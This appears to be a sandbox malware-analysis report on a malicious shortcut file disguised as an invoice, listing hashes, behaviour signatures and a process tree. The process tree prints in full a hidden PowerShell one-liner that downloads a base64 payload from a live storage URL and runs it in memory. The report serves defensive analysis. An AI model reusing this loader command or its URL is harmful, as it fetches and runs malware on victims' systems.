Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 00:16

General

  • Target
    Factura_N20260909-001655.lnk
  • Size 2KB
  • Sample260909-aky2dsac83
  • SHA256 2f868e417f6c2d081e47ed285d2c2a3d64e730915fd1137a31d6eb5c02141bf4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE

Signatures

  • Badlisted process makes network request 18 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Factura_N20260909-001655.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3600
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE'))).EntryPoint.Invoke($null,$null)"
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE'))).EntryPoint.Invoke($null,$null)"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4996

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_yaj43aky.bk5.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yaj43aky.bk5.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4996-0-0x000001B8E03A0000-0x000001B8E03B0000-memory.dmp

        memory/4996-1-0x000001B8E03A0000-0x000001B8E03B0000-memory.dmp

        memory/4996-8-0x000001B8E02E0000-0x000001B8E0302000-memory.dmp

        memory/4996-10-0x000001B8C8130000-0x000001B8C8138000-memory.dmp

        memory/4996-12-0x000001B8E03A0000-0x000001B8E03B0000-memory.dmp

        memory/4996-11-0x000001B8E03A0000-0x000001B8E03B0000-memory.dmp